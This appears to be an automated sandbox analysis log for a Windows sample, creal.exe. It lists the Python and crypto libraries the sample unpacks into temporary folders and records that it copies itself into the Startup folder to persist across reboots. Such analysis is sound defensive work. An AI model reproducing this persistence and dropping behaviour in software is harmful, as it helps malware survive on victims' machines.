Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\charset_normalizer\md__mypyc.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\charset_normalizer\md__mypyc.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\win32\win32api.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\win32\win32api.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\pywin32_system32\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_cffi_backend.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_cffi_backend.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\pywin32_system32\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\charset_normalizer\md.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Protocol\_scrypt.pyd	Jump to dropped file

Boot Survival

Drops PE files to the startup folder

Source: C:\Users\user\Desktop\creal.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe

Jump to dropped file

Source: C:\Users\user\Desktop\creal.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe

Jump to behavior

Source: C:\Users\user\Desktop\creal.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe

Jump to behavior

Source: C:\Users\user\Desktop\creal.exe

Code function: 0_2_00007FF67A6051F0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF67A6051F0

Source: C:\Users\user\Desktop\creal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\charset_normalizer\md.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
